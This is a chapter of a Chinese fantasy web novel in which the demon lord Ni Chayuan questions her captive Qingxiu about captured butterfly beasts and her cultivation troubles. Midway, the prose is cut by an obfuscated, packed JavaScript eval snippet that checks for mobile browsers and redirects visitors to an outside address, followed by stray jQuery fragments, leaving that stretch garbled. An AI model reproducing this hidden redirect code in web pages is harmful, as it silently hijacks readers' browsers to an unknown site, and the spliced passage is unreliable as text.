“滋滋”的火苗声不绝,一只隐蝶兽见状大喊:“喂喂喂、你的衣服烧着了啊!”
它为有人护下它们而高兴,却不曾想来人竟是个傻子,竟然用区区凡人身躯抵挡术火。
青修衣摆处的火苗正稳稳往上攀附,而他神色未动,稳如泰山,反倒他身前之人,眉筋一跳,惊了一色。
“你想护下它们?”冷容眼神凌厉的看着他。
青修道:“正是。”
冷容一听,甚觉好笑:“你眼下不过是待宰羔羊,主上不杀你只是因为你还有一分利用价值,你别得寸进尺!”
“一分利用也是有留下的价值,眼下你敢杀我吗?”
他的话重重击在冷容的傲性上,他如今依附在猊刹鸢的座下,妖魔对他唯命是从,那些道貌岸然的修士正派见他亦是流露出害怕、畏惧之色。他非常享受现下拥有的一切,他的人生从来没有如此畅快淋漓过,可仍旧是有人挑他逆鳞,惹他不悦,偏偏此人他还动不得。
他生生将一口恶气咽下,抬手一挥,将面前的火苗尽数收回。
没了火势追攻,四周小妖们瞬间安静了下来,各自舔舐着自己的伤口。
冷容有气没处撒,对着这群小妖唾骂:“一群废物,还不站好门岗?”
他一声令下,小妖们不敢迟疑片刻,纷纷站到自己的位置上,冷容见状,当下有些称心,便冷冷瞥了一眼站在中央的人:“它们逗留在院外居心叵测,我要带它们去见主上定论。”
青修拍着身前烧短一半的衣摆,让开道:“随意。”
当这群隐蝶兽被冷容十分不温柔的扔在猊刹鸢的眼前时,顿时一声炸响,七嘴八舌的声音蜂拥而至。
“主人!是主人啊!”
“啊啊啊啊主人,我们有救了!”
“呜呜呜主人,我们找你好久了。”
……
猊刹鸢被吵得头疼,当下一挥手,网兜被刮翻了两个跟头,落稳后,里面的小家伙个个头晕目眩,眼冒金星。
“不、不对,这不是我们的主人,我们的主人不会这么粗暴对我们的。”
“呜呜呜……主人……”
呜咽声一阵接着一阵,势头高涨时更像是婴儿的哭闹声。猊刹鸢咧眉质问:“冷容,你丢个这些东西是什么意思?”
有了猊刹鸢的质问,冷容才能更好的告状。
“主上,属下见它们一直盘旋在院外不走,担心是来打探实况的细作,便将它们抓了严刑拷打,逼问实情,但有人制止了属下,属下也是没有别的办法了。”
猊刹鸢是个多精明的人,她自然听出他口中的“有人”是谁,故而将视线再度放到那团散成一片的网兜处,看得仔细,也认出了那些小家伙是何物。
“我知道了,你帮我叫他过来。”
冷容见猊刹鸢先前的怒气一恍而散,甚是有些不解,但又不敢多问,便应声退下了。
青修还未来得及换衣,便被冷容丝毫不客气的拎到殿前,见他一副破败凌乱的模样,猊刹鸢先是一愣,随后忍俊不禁,捂着嘴乐了起来。
猊刹鸢笑得如此开怀的样子,冷容是第一次见,他不禁琢磨起二人到底是何种关系,为什么猊刹鸢对青修能够如此容忍纵容?
“你怎么成了这副模样了?”她虽是忍住了笑,可脸上的笑意仍旧余留未散,神情松弛到叫人完全没了畏惧之色。
青修此刻的模样应是他这一生以来都未曾经历过的样子,他伸手将身前烧到大腿的破烂衣摆往下扯了扯,依旧挡不住两条清凉裸露的腿,他对于猊刹鸢的笑声视而不见,而是一如先前冷容告状那般,几分无奈的朝着座榻上的人告起了状。
“我想护下它们,但内力全无,无法和他持力对抗,便成这样了。”
话音落下,猊刹鸢的态度一改方才,突然就冷戾了下来:“你想杀他?”
她的目光如夺人的锥刃,将冷容刺穿在原地,不敢动弹。
“不……”冷容心下一惊,对上这样的视线腿脚陡然发软,他见过猊刹鸢手段残暴时的样子,那场面仍旧历历在目。
“扑通”一声,冷容重重跪在地上,双眼惊恐道:“属下不敢,属下怎么敢动主上的人,属下只是想惩罚那些来路不明的小妖,只是他突然出现……请主上明鉴,属下是万万不敢啊!”
他认错认得十分卑微,乞讨得十分动容,猊刹鸢缺一个得力助她的手下,自然不会因为这点事真的动他。
“罢了,望你自知些分寸就行,你好好忠心于吾,吾自是不会亏待你。”
冷容连连道“是”,猊刹鸢摆手:“下去吧!”
冷容退去,青修的视线一路追随,他看得出来冷容此人能屈能伸,却没想到竟这么能忍。
“你为何要护下它们?”
猊刹鸢目光锁着他,已没有先前的兴致,而是带着质疑审视的神色。
阴晴不定,喜怒瞬变,面对这样一个魔头,言语行事都需谨慎小心。
青修耸拉着眼帘,一度抿唇不语,待猊刹鸢的耐心等到极限时,他才缓缓道出。
“因为它们是你的兽宠。”
简短几个字,却叫猊刹鸢软了心。
“你怎会知道它们是我的兽宠?”
青修深吸一口气,望向她:“明知故问。”
猊刹鸢却笑了,她起身来到青修面前,一指挑起他的下巴:“我竟没发觉,你这么关注我呢!不过……它们可不是我的兽宠。”
她的眼睛一撇,打量着地上网兜里的一群东西,鄙睨道:“它们不过是我送给灵鸢的玩伴而已,真不值得你以身冒险护下,万一再将你这具身躯伤到了,还怎么陪我?”
她有意贴近青修的喉结,浅浅的吐出一口气。
浓密的眼睫掸在绷紧的肌肤上,柔柔痒痒的,似欲望蹦出的前奏,然而,她探出的手却被青修紧紧夹在腰侧,动弹不了。
“不要伤它们,可好?”
“为什么?”
“你沉睡百年,再次见到旧部,不该好好珍惜吗?”
猊刹鸢像是听到了一个笑话,满目不可思议:“你竟会这么想?呵呵、好啊,留下也无妨,只是它
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15823472|171041||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
们于我而言实在微不足道,反倒是你,莫要耍什么心眼。”
青修放开她的手,退后一步:“我如今已是你的阶下囚,能耍出什么心眼来。”
猊刹鸢道:“没有最好,有我也不怕,说句实话,你如今终于学会了逆来顺受,反倒有些不真实。”
青修道:“你若是怀疑我,大可将我喂食你的那些小妖们。”
“那可不行,我还没吃够,怎能拱手让给它们呢!”
猊刹鸢转身甩袖,如蝉翼的袖纱拂过青修的唇鼻,随后轻风一转,将地上的网兜刮至殿外,殿门紧密合上。
“这几日练了你所说的心法,内力确实有所提升,不过也出现了一件麻烦事。”
她的神情变得严肃了起来。
青修不语,平静如常。
“看来你是知晓此事?”
青修颔首,顿时一只黑雾形成的手扼住他的脖子,将他拖至猊刹鸢身前。
“你明明知晓,却故意而为?”
阴厉之色瞬间爬满猊刹鸢的脸庞,她怒意燃起,却仍旧不见手中之人有畏惧之色。
“我知晓,可你若连这点后果也不愿承担,那就趁早打消想一统三界的妄念。”
她的想法一向简单,那就是一统三界,成为世间最厉害的主。
她从不掩饰,也不狡辩,她的实力便是最好的证明。百年前她一朝失足,亦是败眼前之人所赐,如今他凡人之躯,又成笼中之鳖,已然撼动不了她分毫。
她松了手劲,黑雾散去,指腹一拢摸向对方脖间的勒痕,好声好气道:“那你说说看,我要怎么做才能不让她出现?”
“你的魔力足够大,她就不会再出现了。”
“如此便可?不会出什么旁的岔子?”
“不会。”
青修语气断定决然,没有丝毫犹豫,倒是让她心里舒坦了起来。
“没想到,跟你生活了近十余载的小师妹,你也能如此绝情了断,你的这位小师妹可是一心都念着你呢!”
青修站直了身子,垂眸望向眼前这张看了近十年的脸,不留余情道:“她究竟是谁,你不是很清楚吗?”
“哈哈哈哈哈哈……”猊刹鸢忍不住笑出了声,“我当然知道,因为就是我将她放在了你的身边啊!”
她狂妄的笑声充斥在偌大的宫殿中,也萦绕在青修的脑海中,两侧的壁炉火光摇曳不止,变幻莫测的烛影像一只只狰狞的怪物,将他一点点吞噬其中。而他,淡眸看着这一切心中静若明堂,如同青木老树,根基深远,在狂风暴雨中争一片清净之土。
他的话让猊刹鸢放松了戒备,加上内力的快速提升,让她操之过急,气攻伤心,频遭反噬,内伤吐血,而这一幕刚巧被他撞见。
“谁允你进来的?”
猊刹鸢运功时杜绝任何人靠近,她连连吐血却丝毫不在意,这让在外观察许久的青修看不下去才硬闯进来。
他知道,这一行径可能会让猊刹鸢对自己重新设防警惕之心,可眼下他也管不了这么多,他不能再让她这般糟践这具身体了。